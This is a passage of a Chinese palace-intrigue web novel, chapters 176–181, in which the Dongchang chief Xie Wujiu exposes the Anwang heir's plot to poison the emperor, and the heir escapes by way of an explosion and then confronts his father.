“主子,”隐月小跑着来到谢无咎身边,“景平王府的人又来了!” 第一百七十六章 爹!回家吧! 谢无咎毫不意外,只是抬头看了看屋外明晃晃的太阳。 三伏已经过半,京城的天气却依然热得吓人,也还是挡不住萧子景一家三口天天到东厂门前报到。 萧子景显然是深得孟希越的一身真传,死死咬着叶晚竹害人这条不松口,把所有事情都一股脑地扯在这上面去。 在他日日持之以恒,破口大骂的努力下,叶晚竹已经离京一月有余,京中关于她的声论却不降反升。 有的时候,谢无咎很想把萧子景叫进来问问,你们到底是干什么的? 孟希越不是想谋权篡位当皇帝吗,整天抓着别人的王妃当筏子是怎么回事? 他们东厂都不用这么下三滥的手段。 可惜谢无咎现在没这些个心情。 “让他们骂吧,”他一摆手,“反正费的不是本督的力气。” 隐月却压低了两分声音,“安王世子也来了,打扮成百姓混在看热闹的人群里。” 东厂门前原本是京中人人避之不及的地方,自从萧子景天天带人前来,谢无咎又始终闭门不出,来看热闹的人便越来越多了。 不过,想来又少不了孟希越的暗中撺掇。 谢无咎闻言微微坐直了身子。 “还有没有什么异样的地方?” 隐月思忖着摇了摇头。 景平王天天如此,骂得嗓子都哑了也不安生,这安王世子却是头一回出现,想到这儿,隐月便绷紧了全身的皮。 谢无咎撑着脑袋,慢慢地露出一个冷笑。 “行啊,坚持了这么多天,看来他是忍不住了。” 按理来说,孟希越应该还在府里关禁闭才是,却宁愿乔装打扮也要到东厂来,看来,今天应该会发生什么不一样的事情。 谢无咎转了转眼珠子。 “天气这么热,景平王一家又得费力气骂本督,实在是太辛苦了,你去让厨房煮绿豆汤,晾凉了端出去,给王爷他们润润嗓子。” 千万别骂得太累,提前离开才是。 隐月嘴角抽了抽,如此一来,景平王爷只怕是更有力气,也要骂得更狠了吧? “小的这就去!” “主子!” 两道声音交叠在一起,谢无咎抬起头,看着快步朝殿中跑来的隐翼,眼神亮了亮。 “主子,郭嬷嬷抓住了!” 隐翼一身灰头土脸的,好像在泥潭里打过滚一样,神情却无比兴奋。 谢无咎摩挲着珠串的手一顿,“她现在在什么地方?” “已经被小的们带回东厂,暂时关在暗牢里!” 隐月这会儿已经领了任务离开,隐翼朝着谢无咎上前两步,忽然压低了声音。 “主子,我等是在安王别院附近把人抓住的……” 隐翼奉命去抓这个郭嬷嬷也有一段时间了,按照柔妃的说法,郭嬷嬷被叶晚竹挑断了手筋后就被送到了萧家的庄子上养老,可隐翼明着暗着打探了好几回,庄子里根本就没有这么个人。 那这郭嬷嬷去了什么地方? 隐翼动用了东厂寻人的十八般武艺,消息却还是石沉大海,连郭嬷嬷的一个脚印都没找到。 直到今天早上,他忽然收到线人的情报,说是在京郊发现了郭嬷嬷的踪迹! 隐翼立刻带人前去,一举将郭嬷嬷抓住,只是回程这一路,他越想越觉得有什么地方不太对劲。 “主子,那线人交代的情况特别清楚,而且郭嬷嬷就在那个地方,这,这实在……” 太顺利了。 “你们抓到的人,真的是郭嬷嬷?” 谢无咎也想到了这四个字,目光沉沉地朝着隐翼看去。 隐翼郑重地一点头,“蕙心宫的下人们都指证过了,保证没错。” 人没抓错,那就是有人在故意帮他们引路了? 郭嬷嬷是在安王别院附近被抓的,又是安王? 谢无咎思索间,手上的珠串又不停地转动起来。 安王别院里最近还是没有什么动静,难道他真是要帮忙的? 想不明白,谢无咎很快一拍桌子站起身来。 “走,去暗牢。” —— “这是什么意思?看不起本王?” 谢无咎去暗牢审人了,铁门一关,外界的任何声音都传不进去。 东厂外,面对大街的那扇门前,被不少人簇拥着看热闹的萧子景却十分崩溃。 他已经风雨无阻地在这里骂了不知道不少天,痛诉过的谢无咎的罪行没有一千也有八百。 可这扇东厂的大门却从来没有打开过。 直到刚刚! 萧子景起初还以为自己眼花,等看见真的有人出来又变成狂喜,再在看到两桶绿豆汤的时候变成了恼羞成怒! “谢无咎这到底是什么意思?挑衅本王?”萧子景扯着嗓子,吼得更加用力,“谁要你们的破绿豆汤!” 隐月皮笑肉不笑地举着三个碗出来,依次打满,又放在地上。 “王爷您这话说的就太伤人心了,”他阴阳怪气地挑了挑眉,“九千岁公务繁忙,若不是刚才有事回来了一趟,还真不知道您转行玩杂耍了,这不是特意让小的们给您送点汤水润润喉吗,您怎么还不领情呢?” “九千岁说了,嘴长在您身上,您想说什么就说什么,不过呢,真的说不成假的,您每天张嘴一出就是谣言,可千万别哪天把自己真的骗进去,到了那时候,九千岁可是不会负责的。” 萧子景一张脸气得通红,“你给本王滚开,让谢无咎出来!他包庇罪犯,纵容叶晚竹这个毒妇作恶,难道还怕人说不成!” 隐月翻了个白眼,转头就回东厂里去了。 这景平王本来就不聪明,现在只剩下一只眼,更是连看人眼色都不会了。 安王世子是给了他多少好处,能让他这样死心塌地地卖命? 就算是这位断了手瞎了眼,已经成了废人一个,那外姓王的名号不是还在身上吗? 非要和一个未来叛党搅合在一起,简直好笑。 趁着关上院门的动作,隐月这才飞快地朝隐藏在人群之中的安王世子瞟了一眼。 孟希越没有任何打算推波助澜的反应,仿佛真的只是一个看热闹的路人而已。 “让一让让一让!” 就在这时,几道女声钻进了隐月耳中,他抬头看去,猛地止住了手上的动作! “爹!你快回家吧!别再闹啦——” 第一百七十七章 搅乱一池浑水 叶菡小朋友跌跌撞撞地在书画的开路下跑了过来,抹着两行眼泪,一屁股坐在萧子景脚上,顺便死死抱住了他的大腿! “爹啊!父王啊!”她使劲扯着嗓子大哭,“家里揭不开锅了,鸡都饿得不下蛋了,求求您别再折腾了,赶紧回家吧!姨娘们都快饿死了,我实在想不出招啦!” 这一番话落下,连空气似乎都静默了片刻。 “你!你从哪儿来的,给我滚开,这是我父王!” 第一个反应过来的人是萧延,他用力攥着拳头,浑身哆嗦着朝小花看去。 不过他也只能瞪眼了。 被骗自宫之后,虽然那自称王武的男人替萧延处理了伤口,但还是没能阻拦后续的恶化。 萧延高烧一场,下半身差点儿全烂了,至今都还没有恢复过来,只能坐在轮椅上才能行动。 小花就当现场压根没有这个人,仰头越发用力地抱着萧子景的大腿。 “爹!爹爹爹!你快回家吧!” 萧子景的表情先是有一瞬的空白,而后就变得十分精彩了起来。 “你这该死的野种,到底在胡说八道什么!” 还拽他的裤子! 他恶狠狠地瞪着小花,一边用力扯住自己的裤腰带,目光又逐渐转到潇湘院的一行下人们身上。 叶晚竹离开后,萧子景的一腔怨气无处发泄,本想狠狠收拾这些该死的贱人。 可谁承想,整个潇湘院也在叶晚竹出逃的那一夜人去楼空! 这帮人还拿走了院子里所有能拿走的东西,简直像是蝗虫过境,要不是房子拆不走,恐怕她们也要搬起来! 在京中找不到人,萧子景后来也就放弃了,还有更重要的事情等着他做。 没想到,这帮贱人竟然敢自己跳出来! 那就别怪他不客气了! 萧子景抬腿就往小花身上踢,“野种,谁允许你管我叫爹?你那个贱货娘呢?她跑了不要你,你才想起来找本王?你想得美!” 小花侧身一躲,反手又绕到萧子景身边,抱住了他另外一条大腿。 “爹啊,你说什么呢爹!”小花一边干嚎,一边继续用力扯他的这条裤腿,“你快回家挣钱吧,别干这些莫名其妙的事情了行不行啊?” “什——” 萧子景差点儿被小花扯得一个趔趄摔倒,听着她的话更是火冒三丈。 竟敢诬陷他! 书画这时候也带着一众潇湘院的下人们团团围在萧子景身边,牢牢地堵住了他的各项通路。 “王爷,府里没您不行啊!” “王爷,求求您回家主持大局吧!” “王爷,奴婢们饿啊!” 一群丫鬟你一言我一语,吵得萧子景头脑发胀,什么也思考不得。 这帮人到底是从哪儿来的? 阮莹莹这时候冷笑着上前,一脚踢在小花后背上! “小贱人!别想污蔑王爷!还有你们这帮逃奴!我今天就送你们进大牢!” 那件事后,阮莹莹被剃光的头发虽然已经长了出来,却只有一点点,不得不在炎热的夏季也时刻带着帷帽。 她的双手却是全废了,指头再也用不上力气,连吃饭都只能让人伺候。 这一切都是拜叶晚竹所赐,阮莹莹怎么能不恨! 她恨不得杀光和叶晚竹交好的所有人! 怒从心头起,阮莹莹弯腰就要去抓小花的衣领,“你给我过来!” “姨娘别打我!” 小花灵活得要命,立刻松手起身,在潇湘院下人们的掩护下来来回回地和阮莹莹兜着圈子。 “姨娘,你再警告我不许靠近父王也不行啊,家里人马上就要饿死了,哪怕让我们吃一顿饱饭呢?你们别再花银子做这个了!” “你再瞎说,信不信我撕了你的嘴!” 阮莹莹听着也愤怒起来,这都是什么乱七八糟的! 小花跑得更快了,“爹,姨娘,那些人明明是说给钱让你们骂九千岁,现在怎么变成咱家自己出钱了,你们是不是被人骗了?” “你,你给我闭嘴!” 萧子景终于从这种一片混乱的场景里回过神来,猛地明白了什么,脸色变得难看至极! 肯定是谢无咎那个假阉贼,提前转移了这帮贱人,等着这个时候为自己说话呢! 他狂怒着推开挡住自己的几个丫鬟就要冲到小花面前去。 “过来!过来!”萧子景狂吼着,“你这个贱丫头,好大的胆子!” “爹!我错了爹!只要你留点钱给家里,我立刻就滚!” 小花喊得委屈,跑得利索,分明一下都没让萧子景碰到,听着却凄惨至极。 “只要你少雇两个看热闹的人就行了嘛!” 雇来的? 一众百姓们闻言都瞪大了双眼,随即开始打量起自己身边的人。 这是不是雇来的? 怎么看谁都可疑! 孟希越一直极力掩饰着的表情终于有些绷不住了,沉着脸要走上前去。 竟然能想出这样的办法,他看谢无咎也是不要脸了! “诶!王爷这话是什么意思?” 眼看着萧子景盛怒之下,力气爆发,竟然一瘸一拐地要追上小花,隐月忽然从门里出来挡了一下。 他把小花拉到身后,自己对上了萧子景那气势汹汹的模样。 萧子景只停顿了一瞬,面容便更加狂怒,“你们看见了吧?这臭丫头就是谢无咎的人! “呵。” 论演戏,隐月也不遑多让,他冷笑一声,当即又抬高了声音。 “景平王,你这是白的黑的全都要扣到九千岁的脑袋上来啊?是不是你晚上不行,也要怪我们东厂太监太多?” 萧子景恨恨地瞪着他。 这死太监,肯定是故意的! “那这孩子到底是不是九千岁在作保呢?” 一道略显沙哑的声音响起,萧子景先是一愣,随后又立刻挺直了腰杆! “就是!”他瞪大眼睛看着隐月,“你敢说一个不是吗?这么多双眼睛可都看着呢!” 小花弱弱地从隐月身后探出了脑袋,“爹,那都是你找的托儿,你别说出来啊!” “你……!” 萧子景顿时破了功,气得一个倒仰! “证据呢?”伪装成百姓的孟希越朗声追问,“我可是自己来的,你们凭什么污蔑我?” 一声轻柔的,阴恻恻的笑这时候从隐月身后飘了出来。 第一百七十八章 飞速滑跪的郭嬷嬷 “世子好大的口气,真以为东厂的人都瞎了两只眼,连景平王都不如,认不出你来吗?” 谢无咎不紧不慢地从院中走了出来,在场的百姓们齐齐呼吸一滞! 看热闹归看热闹,他们可是听说九千岁闭门不出才来的啊! 并不想和这位魔头打照面! 边缘一些的百姓们见势不妙想走,却发现整块区域不知道什么时候,已经被东厂的人团团围住了。 “各位不必紧张,本督没有要为难你们的意思。” 就在众人惶惶不安的时候,谢无咎又开了口。 他的目光再次扫过众人,语气里带上了一丝笑意。 “虽然这里有景平王雇来的托儿,但应该还是有不少单纯被吸引来看热闹的,倒是可以给本督做个见证。” 一边说着话,谢无咎一边打了个响指。 下一刻,东厂大门洞开,隐翼推着一个被反绑双手的人走了出来。 “此贼姓郭,从前乃是宫中柔妃娘娘身边的嬷嬷,刚才却亲口供述,受了安王世子的教唆,妄图给陛下下毒。” “世子,你怎么看?” 谢无咎方才现身亮相的功夫,锦衣卫们便悄无声息地摸到了孟希越身边。 被锦衣卫团团围住,孟希越却仿佛浑然不觉,只一双眼睛直勾勾地盯着站在东厂门前的郭嬷嬷。 怎么回事? 郭嬷嬷显然也看见了他,侧过头躲避着这位的视线。 —— 两炷香前。 谢无咎来到暗牢,郭嬷嬷正被五花大绑着捆在椅子上。 虽然还没有用刑,但她的脸色却已经一片惨白,豆大的汗珠顺着脸颊朝两旁滑落。 一见到谢无咎,她的表情就变了变。 “九千岁大人,九千岁大人!我被人骗了,我不知道那些药粉是毒药,更不知道他们要害的人是皇上啊!” 谢无咎:…… 刚准备开口便被这么一长串话顶了回来,他忍不住抿了抿唇。 “他们是谁?” 郭嬷嬷的眼珠子转了转,透着一股茫然。 “我,我也不知道……” 不知道? 那还交代得这么利索? 谢无咎一掀衣摆,在郭嬷嬷面前坐了下来。 “慢慢说吧,”他道,“把你知道的一切都告诉本督。” 郭嬷嬷的表情变得更加恐惧起来,甚至还左右扫视着站在牢房外的东厂侍卫。 “有什么话就痛快点!”谢无咎骤然厉声喝道。 郭嬷嬷猛地打了个哆嗦。 “我,我被送到庄子上之后,很快又被人带着去了另外一座庄子,那里的下人告诉我,柔妃娘娘这样做是不得已,他们就是来接应我的。” “我相信了,跟着他们去了一个地方,等了很久才等到娘娘的消息。” “娘娘让我找一种药粉,我就让那些下人一起帮忙,找到之后再送进宫中,我哪儿知道那是,那是……” 郭嬷嬷的话说不下去了,浑身又开始剧烈地哆嗦着。 “既然如此,你又是怎么知道这些的?”谢无咎挑了挑眉。 这郭嬷嬷也不知道在这座神秘的庄子里当了多长时间的大王,连自称都已经忘了加。 下一刻,郭嬷嬷震惊地瞪大双眼看了过来。 “不是锦衣卫来抓我的吗?” 谢无咎微微一愣,又沉下脸,“让你讲就讲!” 郭嬷嬷连忙点着脑袋,“是是是……今天早上我正在屋中,忽然有人闯进庄子,把下人全都捂了嘴关起来。” “他们都穿着一身黑衣服,蒙了面,说,说是东厂锦衣卫,因为我犯了这样的事儿,要砍我的脑袋!” “我拼命求饶,说我什么也不知道,他们才犹豫了,说一会儿让人先把我带回东厂,叫我如实交代情况,不准有隐瞒,然后,然后我就被带回来了啊……” 说着说着,郭嬷嬷语气里又出现了更深的茫然。 这好像没什么问题吧? 隐翼却瞪起了眼,在郭嬷嬷看不到的地方,用力给谢无咎打着手势。 问题大了! 去找郭嬷嬷的人只有他和几个暗卫,锦衣卫根本就没出动过! 这是哪个吃了熊心豹子胆! 谢无咎给了他一个稍安勿躁的眼神。 虽然是假冒锦衣卫,但目的却是要把郭嬷嬷翻出来,看来这个人真的是安王了。 若是有机会,谢无咎很想去见他一面。 不过现在…… “骗你的人是安王世子。” 敛起思绪,谢无咎淡淡地将实情道出,看着郭嬷嬷一脸不解的模样,便知道孟希越又成功地掩藏了自己一回。 “你虽是受骗,但却亲手将毒药送进宫中。安王世子现在就在东厂之外,你若是想将功补过,减轻罪责——” “我想!我想!” —— “……就是安王世子!是他亲自把那毒药交给奴婢,骗奴婢送进宫里去的!” 回到东厂门前,郭嬷嬷已经声泪俱下地将孟希越投毒一事当众讲了出来。 “奴婢一直以为那是给娘娘的补药,九千岁,您一定要为奴婢做主啊!”她回头眼巴巴地看着谢无咎。 空气一片寂静,众人面面相觑,大眼瞪着小眼。 这安王世子疯了? 给皇帝下毒? “柔妃娘娘先接触毒物中了招,圣上发觉有异,便想出了这么一个引蛇出洞的办法,真没想到,幕后黑手竟然是你!” 谢无咎走下石阶,大步流星地朝孟希越而去。 “说,你为何要谋害圣上!” 百姓早就退到了墙根上,这会儿更是又挤挤挨挨地远离了战场。 唯有孟希越被锦衣卫包围着,挪不动脚,只能怒不可遏地瞪着朝自己走来的谢无咎。 “你这是从什么地方找来的人,这是红口白牙的污蔑!” 他还在嘴硬,谢无咎轻笑一声。 “世子,不是所有人都像你一样,只会用这么下作的手段的。” “解药在什么地方?” 孟希越的情绪仿佛在瞬间就消失了一样。 “下作?”他不屑地抬起头,“那你看看这个好了!” “退后!” 他语气激烈,谢无咎下意识地喊了一声,还没等话音落下,巨大的爆炸声便在所有人耳边炸响了! 气浪翻卷,隐月一头栽倒在地,眼前发黑,才后知后觉。 这动静,是从东厂里传出来的! “主子!” 第一百七十九章 王爷!世子来了! 跌跌撞撞地从地上爬起来,隐月立刻往谢无咎那边看了过去。 谢无咎也被这爆炸的冲击力顶得身子歪斜,却还是伸长了胳膊要往郭嬷嬷站着的地方去。 那里一片浓烟滚滚,谢无咎拨开挡在自己眼前的尘土,只见几个侍卫歪七扭八地倒在地上,而郭嬷嬷却已经不见了踪影。 他顿住脚步,表情有些阴沉了下去。 这爆炸是故意的。 “主子,这……” 隐月慢了一步赶上来,看着眼前的景象,也忍不住皱起了眉头。 郭嬷嬷被人救走了,那…… 他下意识地转过头去,谢无咎却又先他一步,看着同样空空如也,只有锦衣卫倒在地上的,安王世子刚刚站立的地方。 这场爆炸是安王世子操纵的? 在东厂之中? 他的手能伸到东厂里来? 隐月的神情惊疑不定,“主子,小的这就去查!” 谢无咎却摆了摆手。 “反正也是这样了,你先疏散这些百姓,看看受伤的情况,把他们都安顿好。” 顺便昭告全京城,这爆炸是因何而来。 接到主子别有深意的眼神,隐月很快便反应过来点了点头,“小的这就去!” “隐翼!” 隐月一边转头离开,一边大声张罗着维持现场的秩序,谢无咎的呼唤都要低他一头。 隐翼从院门后跑出来,更是灰头土脸的。 “情况怎么样?” “爆炸发生的地方是仓库,里面放的都是一些没用的文书资料,甚少有人会往那边去。” 抹了一把脸上的黑灰,隐翼骂骂咧咧着,“肯定是被他们钻了这个空子!” 固若金汤多少年的东厂,今天就这么被暗算了! 岂有此理! 谢无咎面上仍是看不出太多情绪,只是没了往日的笑容,显得有些冷清。 “这里的事情有隐月处理,你去,把小花,还有潇湘院的人重新找一个安全的地方安置起来。” 阵阵喊声之中,谢无咎的语气显得轻飘飘的,仿佛风一吹就能散掉。 他看着隐翼的表情却带着严肃。 小花她们今天忽然出现,定是坏了孟希越的好事,再加上郭嬷嬷的反水,无论孟希越想做什么,现在看来都已经彻底失败了。 他带走郭嬷嬷肯定不是为了作保,下一个要对付的会是谁,不言而喻。 隐翼眸光闪动,简短地一点头便立刻转身去办差了。 书画等人被人群推推搡搡,分散在各处,小花倒是就在谢无咎身边。 爆炸发生之时,隐月护住了她,而后便顺理成章地将她送了过来。 “都督叔叔……” 小花一只手抓着谢无咎的袖子,目瞪口呆地看着大半个东厂都开始熊熊燃烧的景象。 “这,这是孟——” “嘘。” 谢无咎抬手及时捂住她的嘴,又弯腰把小花抱了起来。 “谁让你们跑出来的?” 口中说着问责的话,谢无咎却并未流露出多少责怪,目光顺便在小花身上转了个圈。 见她身上并没有血迹和伤口,谢无咎这才放心下来。 “是我的注意!” 谁也不知道小花的胆子到底有多大,刚经历了这样一场突变,她却用最快的速度恢复了往日的模样。 咬了咬嘴唇,她微微低头对上谢无咎的双眼。 “都是我的主意,谢都督叔叔,你千万不要怪书画她们,是,是我逼着她们来的!” 整个潇湘院的人都被秘密转移到了一个安全的地方,为了不被萧子景或者孟希越盯上,谢无咎在整个过程中并未出现。 如此一来,小花便也没有机会跟他说起,自己曾经偷听到的,孟希越和手下的对话。 直到现在。 生怕自己坏了事,小花将那天发生的场景在心里背了个滚瓜烂熟,这会儿一股脑地朝着谢无咎全倒了出来。 谢无咎听过的审讯不计其数,怎么样的说话方式他都听过,此刻面对小花,还是不免要打起十二万分的精神。 原来,整个景平王府,早就已经落入了孟希越的掌控! 可他为什么要这么做? 萧子景有什么值得孟希越在意的地方? 一边思考着,谢无咎一边朝萧家三口刚才待过的地方看了过去。 连郭嬷嬷都要带走,自己的手下要是被留在这里,多少显得孟希越这个当主子的太厚此薄彼。 萧子景一家三口早在烟尘散尽的时候便不见了踪影,谢无咎也早就看见了,却并没有要追查的打算。 萧子景就是孟希越手里的一把刀,只要还有用,总归会被他推到最前方来的。 “主子,都准备好了。” 隐翼的声音传来,谢无咎暂时抛开这些思绪,转过身子,又用空着的那只手在小花背上轻轻拍了两下。 “我知道你是想帮忙,其他人也一样,但这件事很危险,搬家之后,不要再出来了。” 他语气温和得吓人,却带着不容置喙的态度。 小花微微缩了缩脖子,竟然也生出两分胆怯。 “我,我知道了。” “你得保证,”谢无咎却好似不依不饶,“要是你出了事,等你娘回来,她或许会要我的命。” 他轻声叹息着,垂下目光,挡住眼中流动着的情绪。 小花还小,这样的纠缠她并不明白,却能感觉到这位都督叔叔这会儿的情绪十分低落。 “我保证不会再出来乱跑。”她想了想,郑重地道。 “我娘什么时候能回来?”她又忍不住发问。 谢无咎停顿一瞬。 “不知道,等吧,我也在等呢。” —— “我等什么等?都让开!” “王爷刚刚歇下,小的们得去通传……啊!” 京郊,远离村镇的幽静宅院门前,一身狼狈的孟希越踹倒两个惊惶不安的小厮,一把推开大门冲了进去。 门前两个灯笼都被他的动作扰得晃来晃去,露出大大的“安”字。 这两个小厮重重地摔在地上,还没来得及起身,便又看到两个浑身散发着杀气的黑衣人大步跟在孟希越身后走了进去。 二人合力拎着一个毫无生气的躯体,两个小厮对视一眼,目光都透着大事不妙的意味! “王爷!快去让人通知王爷,世子来了!” 第一百八十章 父子 小厮们一迭声地叫嚷着,语气里满是惊恐。 孟希越大步流星地走在前面,听着身后传来的声音,冷冷地笑了一声。 被这两个小厮的一嗓子惊动,安王别院里的更多下人忙不迭地冲了出来。 “都给我滚开!”孟希越脚下不停,语气更加凶狠,“不想要命的,你们就上来试试!” 他虽然是安王世子,王府的小主子,但孟希越已经在南疆打了五年的仗。 他五年不在别院,别院里的下人有一多半都不认识他,再加上孟希越一身的威压,顿时让他们犹豫着停下了脚步。 “世子……” 待他走到二堂,安王府的管家终于急匆匆地从后方跑了过来。 看着眼前的场景,他表情一震,又连忙挤出一个小心翼翼的笑容。 “世子您这是怎么了?有话好好说,您消消气,我这就让下人带您到花厅去!” 孟希越闻言倒是停下了脚步。 “忠义公公,”他背起双手,上下打量了眼前的管家一番,目光在他变得沧桑了几分的脸上一扫而过。 “本世子回自己的家,还要被带到花厅去招待?父王如今对我这个亲儿子都这么生疏了?” 他口气不善,忠义公公听得打了个哆嗦,一双不知所措的手也变得更加慌张。 “这怎么可能!”他虚弱地笑笑,“世子,您这就误会了,主要是王爷——” 孟希越一个耳光便狠狠扇了过去,将忠义公公没说完的话打得粉碎! “误会?” 重重地冷笑一声,孟希越用一双冰冷的眼看了过去。 他眼中的冷意有如实质,忠义公公哪里受得住,下意识地侧头移开了目光。 下一刻,孟希越一脚踹向他膝盖! “忠义公公为什么这么紧张?是不是你做了什么对不起父王,对不起安王府的事情,所以才这样心虚啊?” 忠义公公年老力衰,根本禁不住这样一脚,惨叫一声跌坐在地,骨头碎裂的声音清脆地响起! “世,世子……” 钻心的疼痛让忠义公公的脸色h顿时变得惨白,他却也顾不上太多,撑着身子想从地上起来,继续阻拦孟希越前进。 “滚!你这刁奴!” 又是狠狠一甩,将忠义公公再次推倒在地,孟希越头也不回地绕过院门,继续往后走。 再穿过一道屋,就到了安王日常起居的地方了。 “快去通知王爷啊!”忠义公公躺在地上,眼中露出的情绪无比急迫。 一众别院的下人们却你看看我,我看看你。 谁敢动? 谁不想要腿,也不想要命了? “诶呦,这,这是怎么了?” 眼看着就要走到后院,惊讶的人声一响,安王小步快走着出现在众人眼前。 这会儿正是午后,烈日高悬,最是适合休息的时辰。 安王身上只穿着轻薄透气的丝质中衣,连外袍都是随便披在身上就跑了出来,长发披散,睡眼惺忪,一侧脸上还带着压出来的睡痕。 比起孟希越回京入宫赴宴的那时候,安王好像又胖了一圈,圆润松软的肚子随着动作一颤一颤的。 他走到外院门前,先和孟希越打了个照面,而后便目瞪口呆地被这位身后的景象吸引住了。 “这是怎么了?诶呦喂啊!” 安王一拍大腿,好像是自己的膝盖让人踹碎了似的,哀哀地嚷了起来。 “快快快,你们都是死人不成?还不赶紧把老忠扶起来!”他又指手画脚地忙活着,“太医呢?太医也叫过来!还有侍卫,取担架抬着人回去——” “父王!” 孟希越眼睁睁地看着安王最多看了自己一眼,就开始张罗着给忠义公公治伤,他等了又等,等到满院子的人都要被安王指挥着忙活起来,终于等不住了。 “父王,您没看见儿子来了?” 一转身,孟希越冷冷地盯着安王的眼睛。 比起会带兵打仗的儿子,一心追求安逸的安王不仅身材圆胖,连身高都比孟希越低了整整一头。 他不得不在这种居高临下的动作里后退了两步。 “唉,那哪儿能呢?” 挤出一个笑容,安王挠了挠后脑勺,从表情到语气都讪讪的。 “爹怎么能看不见你?只是你忠义公公受伤了,人到了这把年纪,摔断骨头可不得了啊。” 虽然说着是爹,可安王面对着孟希越的时候,却是一点儿长辈的架子都摆不出来的。 他左顾右盼,抓耳挠腮,活像是个逃课被先生抓住的学童一般。 看着这副模样的安王,孟希越的脸上有厌烦一闪而过。 他这个父王在别院偏安一隅的时间实在是太久了,久到他自己都没有发现一切是需要变化的,而不是像他一样,数十年如一日地这么活着。 被昭德帝像养猪一样养在这间别院里,有什么意思? 可他这个父王就喜欢过这种任人宰割的生活。 “你们几个……快把老忠送回屋里去……” 孟希越有些出神,安王却好像抓住了这个机会,努着嘴唇用气音和下人们小声交代着。 收起思绪,孟希越淡淡地朝那些下人们瞥了一眼。 下人们立刻僵住了,一动不动地站在原地,脸上写满恐惧,安王则是反应了过来,转过头又笑得讨好。 “儿啊,你对爹有什么话要说,咱们坐下来慢慢聊,就别这么兴师动众了吧……” 孟希越的表情堪称冷酷。 “坐下就不必了,爹,你来的正好,你替儿子瞧瞧,这个人,你眼熟吗?” 他朝门外招了招手,那两个黑衣人便将满脸是血,呼吸也非常微弱的郭嬷嬷拖到了安王面前。 “诶哟哟哟!” 安王双腿一软,一点儿骨气都没有就摔倒在地,发出咚地一声闷响。 “这是什么?快拿远点,我见不得血,阿弥陀佛,阿弥陀佛……” 双眼紧闭,安王不断地咽着口水,一边喃喃自语,一边捂住了自己的心口。 孟希越眼底恼怒闪动得更加剧烈,他上前一把抓住郭嬷嬷的头发,将那血淋淋的人脸硬是怼在了安王眼前。 “父王,你看仔细点!”他恨声道。 第一百八十一章 略胜一筹的父王 “造孽,造孽啊……!” 安王也不知道听见了儿子的话还是没有,继续嘀嘀咕咕,双手也不停地来回摆着。 “拿走,快拿走!” 孟希越愤怒地低骂了一声,松开郭嬷嬷,竟然反手来抠安王的眼皮! “父王,你给我看清楚!我让你看!”他死死地咬着后槽牙,声音都跟着变了形。 安王徒劳地挣扎着,很快还是敌不过孟希越的手段,撑开眼皮刚看见郭嬷嬷血淋淋的样子,便又嗷地一声躺回了地上。 “呕——” 他身子起伏,费力地爬起来就开始呕吐。 孟希越站在原地,上半身还保持着方才的动作,看着弓背咳嗽的安王,表情十分复杂。 郭嬷嬷的藏身之地是个秘密,但那庄子却是在安王名下的,若他非要查,也不是不能知道。 可他父王每天除了吃就是睡,连打发时间都用钓鱼这种不用动弹的爱好,孟希越实在是想不到他费尽心思暗中打探消息的样子。 再说,他为什么要这么做? 自己父王是个废物的印象实在太过深刻,再加上他这会儿的表现,看不出半点伪装的痕迹,孟希越又深深地皱起了眉头。 不是父王,那还是忠义公公? 别院和王府的所有产业都由忠义公公打理,想到这儿,孟希越又要转头看过去。 “逆子!你这个逆子!你回来是干什么的!” 就在这时,安王愤怒的咆哮声响了起来。 说是愤怒,孟希越倒也没觉得有多吓人,安王的声音还带着沙哑,更是哆嗦得不像样子。 他吐完了胃里所有的东西,大口喘着粗气,十分艰难地站了起来。 “你把家里弄得这么乱七八糟的,是故意想气死我是不是?”他叉着腰,“你翅膀硬了,连父王都敢动手!我,我要给圣上写信,让他罚你的俸禄!” 安王别院在京城之外,远离各种热闹,安王本人更是足不出户。 孟希越的表情因为这话又变了变,听上去,他父王好像连宫里的事情都不知道。 “快把这人抬走!” 看着孟希越仍是不善的神情,安王这边刚放完狠话就心虚起来,眼珠子咕噜噜地转了两圈,转头就将目标对准了那两个黑衣人。 “在院子里弄了这么多血,多吓人啊?赶紧给本王清理干净!” 黑衣人们丝毫不为所动,连一个眼风都没往安王身上飘。 于是安王又变得讪讪起来。 “父王。” 看着安王抓耳挠腮的模样,孟希越不得不深吸了一口气,才能保持声音的平稳。 “忠义公公身上可能有些问题,我要把他带回去问话,您歇着吧。” 出卖郭嬷嬷的人不是安王就是忠义公公,两相比较,在孟希越心里,还是亲爹败下阵来。 看看他刚才的德行吧! 孟希越忍住无奈,安王却又一蹦三尺高。 “什么?你要把老忠带走?那这几天谁伺候我?” “不行不行!” 安王一迭声地拒绝着,把自己的脑袋摇得像拨浪鼓。 “老忠肯定没有问题,父王敢跟你保证!”他啪啪啪地拍着胸脯。 孟希越连生气都气不起来了。 是没有问题,还是没人伺候,自己活不下去啊? “父王,儿臣说的是正经事。”他又长长地吐出一口气。 “父王跟你说的也是正经事!”安王几大步冲过去,挡在忠义公公面前,“你忠义公公要是会做什么不利于咱家的事,那今天的太阳就能打东边落下去!” “……” 孟希越张了张口,意识到跟自己的父王是沟通不下去了。 “你不是每天都忙得很吗?你快走吧,等有空再来看父王啊!”安王又朝他做了个挥手的动作,察觉可能略显生硬,笑容又变出了几分讨好。 他这副能屈能伸,没脸没皮的模样,看得孟希越胸口一阵阵地憋闷。 大概是看他表情更不好,安王的笑容也变得更加谄媚。 “……走!” 沉着脸,孟希越最后朝被安王挡在身后,看不见模样的忠义公公瞪了一眼,随即带着人头也不回地离开了。 忠义公公是陪着安王从夺嫡之时一路走来的太监,光是替他挡过的刺杀就不知凡几,这位在安王心里的地位可想而知。 就连昭德帝登基后都大为钦佩,忠义这个名字便是他亲笔赐下来的。 孟希越能对昭德帝下手,却不能对亲爹真的喊打喊杀。 走出别院,孟希越先是长长地吐出一口浊气,随即朝着那两个黑衣人使了个眼色。 “从今天开始,你们把别院给我盯得死死的,就算飞出去一只苍蝇,也得查清楚是去了什么地方!” 他今天是动不了忠义了,不过,经过方才那一遭,忠义也不可能一点儿反应都没有。 孟希越想,就算父王一心为忠义作保,他的话也算不了多少数,无非是让自己多费些心思,绕开罢了。 只是每一件事都要多费些心思,时间长了,也显得烦人。 “走吧——” 正打算离开,孟希越的话说到一半却忽然顿住。 与此同时,三人齐齐抬头朝某个方向看去。 又一个黑衣人身形如电,从京城方向朝这边飞奔而来。 “主子,闵镇急报,快马加鞭!”他连气都顾不上喘,一把将手里的书信递到了孟希越面前。 看着信封上的特殊记号,孟希越的表情变了变。 这是出了大事的象征! 